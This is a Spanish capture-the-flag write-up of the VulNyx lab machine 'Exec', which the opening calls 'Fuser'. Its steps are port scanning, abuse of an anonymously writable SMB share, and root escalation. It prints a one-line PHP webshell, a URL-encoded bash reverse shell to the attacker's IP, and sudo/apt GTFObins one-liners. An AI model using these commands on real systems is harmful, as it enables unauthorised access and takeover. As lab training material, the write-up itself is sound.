En este writeup vamos a resolver la máquina Fuser dificultad Exec de VulNyx.

Resumen de conceptos trabajados:

Escaneo de Puertos
Enumeración de Servicios
Reverse Shell
Abuso de Binarios con Privilegios

Si es tu primera máquina de VulNyx y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento paso a paso cómo empezar en esta plataforma.

Conexión Previa

Cómo Verificar que estamos conectados a la máquina víctima

Lo primero que tendrás que hacer cuando vayas a trabajar sobre alguna de las máquinas de VulNyx, es descargarla en tu equipo. Una vez descargada y descomprimida, irás a tu VMWare o VirtualBox y la importarás para virtualizarla.

Después de importarla, configura la conexión de red a Red NAT, para que tanto máquina atacante como máquina víctima se encuentren.

Después, abro la máquina de VulNyx y la dejo abierto para que esté activa.

Comenzando con el reconocimiento de la máquina víctima

Inicio mi sesión siendo usuario root de mi máquina atacante con el comando “sudo su” y creamos previamente una nueva carpeta dentro de nuestro Kali para esta máquina y poder crear allí todo lo que analicemos.

Para asegurarnos de que la máquina víctima está conectada en la red:

sudo arp-scan -I eth0 --localnet

y de esta forma vemos todas las IPs conectadas para empezar a analizarla (podemos comprobar que se encuentra la IP de la máquina VulNyx cuando la ejecutamos anteriormente).

vemos que la IP «is up» está activa y su ttl es de 64, es decir, SO Linux.

Fase de Enumeración / Escaneo de Puertos

Comenzamos el análisis con la fase de enumeración y escaneo de puertos mediante el comando:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.0.2.6 -oG Escaneo

La explicación de cada comando sería:

La idea de este escaneo es detectar puertos abiertos en la dirección IP especificada.

sudo : comando en Linux con privilegios de administrador.

nmap : nmap herramienta para escanear redes. Principalmente para descubrir hosts activos.

-p- : esta opción le indica a nmap que escanee todos los puertos del 1 al 65535.

--open : nmap solo mostrará los puertos que están abiertos.

-sS : especifica el tipo de escaneo que se va a realizar. En este caso, es un escaneo SYN, también conocido como «escaneo sigiloso» o TCP SYN scan. Este tipo de escaneo no establece una conexión completa con el puerto, solo envía un paquete SYN y espera una respuesta. Si el puerto está abierto, responde con un SYN-ACK; si está cerrado, responde con un RST.

--min-rate 5000 : establece la velocidad mínima del escaneo en 5000 paquetes por segundo, lo que significa que nmap intentará enviar al menos 5000 solicitudes cada segundo. Esto puede hacer que el escaneo sea más rápido, pero también puede aumentar las posibilidades de que sea detectado por sistemas de seguridad.

-vvv : Es el nivel de información que muestra nmap mientras escanea.

-n : esta opción le indica a nmap que no resuelva nombres de dominio (DNS). Es decir, solo utilizará direcciones IP sin intentar convertirlas en nombres de host.

-Pn : le dice a nmap que no haga un «ping» a la dirección IP antes de escanearla. Con -Pn, nmap asumirá que el host está activo y procederá directamente al escaneo de puertos, útil si el host bloquea pings.

10.0.2.6 : es la IP de la máquina víctima.

-oG Escaneo : especifica el formato de salida y el nombre del archivo donde se guardarán los resultados del escaneo. Escaneo es el nombre del archivo de salida donde se guardarán los resultados.

El escaneo de puertos nos devuelve que los puertos 22 ssh, 80 web, 139 y 445 (SMB sobre TCP) están abiertos.

Ahora vamos a ver qué servicios corren:

A priori las versión de OpenSSH y Apache no presentan vulnerabilidades públicas conocidas, y los puertos 139 y 445 corren en un SAMBA 4.

Samba es una implementación libre del protocolo SMB (Server Message Block), el mismo que usa Windows para compartir archivos, impresoras y recursos de red entre equipos.

Samba permite que máquinas Linux o Unix se comuniquen y compartan recursos con equipos Windows como si fueran parte de la misma red local (LAN).

Si analizamos la información inferior en rojo sobre SAMBA, nos muestra:

  • clock-skew -1s : el reloj del host está casi sincronizado con tu máquina. No es problema de seguridad por sí mismo.
  • smb2-time (date: 2025-11-01T19:37:19): confirmación adicional de que el servicio SMB responde y su hora. Útil para correlación de logs.
  • smb2-security-mode: Message signing enabled but not required : SMB message signing está soportado pero no forzado. Es posible intentar ataques de relay / spoofing en redes donde se pueda interceptar tráfico.
  • nbstat: NETBIOS name: EXEC : el nombre NetBIOS del host es EXEC. Útil para búsquedas de shares o para correlacionar con otras máquinas.

Si dejamos por ahora aparcado la parte de inmersión por SAMBA e intentamos acceder por navegador a la IP víctima puerto 80, vemos que se trata de la página de Debian por defecto (a priori sin más información).

Intento continuar la investigación haciendo fuzzing web tanto a nivel de directorios y archivos como de subdominios pero no encuentro nada relevante (ni usando wfuzz ni gobuster).

wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-u http://10.0.2.6/ -H "Host: FUZZ.10.0.2.6" --hc 404,400 -t 50
gobuster dir -u http://10.0.2.6/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 30 -x php,html,txt,zip

Sabiendo que SAMBA está abierto por los puertos 139 y 445, aplicamos este comando para hacer una enumeración SMB básica (-H que determina el Host):

smbmap -H 10.0.2.6

Qué dice esa salida:

  • smbmap -H 10.0.2.6 lista y prueba accesos a recursos compartidos SMB (Server Message Block, usado por Windows para compartir archivos, impresoras, etc.).
  • Disk y las filas son los nombres de los shares: print$, server, IPC$, nobody.
  • Permissions muestra el permiso para cada share desde tu conexión actual (NULL session).
  • server READ, WRITE significa que puedes listar, descargar y subir archivos en \\10.0.2.6\server sin autenticarte.
  • print$ y IPC$ NO ACCESS. print$ son drivers y IPC$ es para RPC/IPC. No te preocupan ahora.

Si accedemos al directorio server dentro de la máquina a través de smbclient, vemos que hay un fichero index.html que es la propia página de Debian que vimos en el puerto 80.

smbclient -N //10.0.2.6/server

Teniendo en cuenta que en esa ruta /server tenemos permisos de escritura y lectura, probamos a subir una webshell en php con este contenido:

<?php system($_GET['cmd']); ?>
  • $_GET['cmd'] toma el valor del parámetro cmd de la petición HTTP.
  • system(...) ejecuta ese texto como comando del sistema operativo y devuelve la salida al cliente web.
  • Resultado: quien haga la petición puede ejecutar comandos en el servidor con los permisos del proceso web (a menudo www-data, apache, nginx).

Nos aseguramos que efectivamente la webshell está subida al servidor:

Reverse Shell

Si ahora ejecutamos desde el navegador la siguiente url que encadena la IP Víctima que invoca la webshell que hicimos en php, y la concatenamos en cmd con una bash, podríamos tener ejecución remota de comandos.

Antes de ejecutar la línea, tienes que ponerte en escucha con netcat por el puerto 443 para recibir la shell.

http://10.0.2.6/weshell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.0.2.5/443%200%3E%261%22

Al ejecutarlo, tendríamos acceso a la máquina como usuario www-data.

ABUSO DE BINARIOS CON PRIVILEGIOS

Si ejecutamos el comando «sudo -l» , para saber si hay privilegios configurados que puedan explotarse. Vemos los permisos que tiene ese usuario:

Eso nos dice que www-data puede ejecutar /usr/bin/bash como el usuario s3cur4 sin pedir contraseña. Por lo que podemos seguir escalando privilegios a root en este caso cambiando al usuario s3cur4 .

Si ejecutamos :

sudo -u s3cur4 /usr/bin/bash

ahora somos el usuario s3cur4:

Si volvemos a ver los permisos de este usuario con sudo -l vemos que puede ejecutar un binario apt como root sin contraseña:

En este punto lo que hacemos es ir a GTFObins que es un repositorio de explotación de binarios para ver como usuario root como podemos explotar el binario apt.

ejecutamos este onliner y ya somos root:

sudo -u root /usr/bin/apt update -o APT::Update::Pre-Invoke::=/bin/sh

Y ya como usuario root podemos leer las flags mediante el comando:

find / -name user.txt -o -name root.txt |xargs cat

Fuentes: Writeup de d4t4sec

RESUMEN DE LA MÁQUINA EXEC DE VULNYX

Escaneo y descubrimiento: nmap para descubrir puertos y servicios. Encontramos SSH (22), HTTP (80) y SMB (139/445) con Samba 4. Los resultados NSE mostraron datos útiles no vulnerables por sí solos (hora, clock-skew, NetBIOS name = EXEC) y que el modo SMB permite firma pero no la exige, lo que reduce ciertas protecciones. La página HTTP era la página por defecto de Apache, sin información sensible visible por navegador o fuzzing.

Explotación y escalada (resumen no técnico): con enumeración SMB detectamos el share server con permisos anónimos de lectura/escritura. Al subir un archivo PHP ejecutable comprobamos que el servidor ejecutaba código PHP y obtuvimos ejecución con el usuario del servicio web. A partir de ahí encontramos una configuración de sudo que permitía ejecutar binarios como otros usuarios sin contraseña. Esa configuración permitió cambiar a un usuario intermedio y, mediante abuso de un binario con privilegios, escalar finalmente a root y leer las flags del laboratorio.

Otros posts relacionados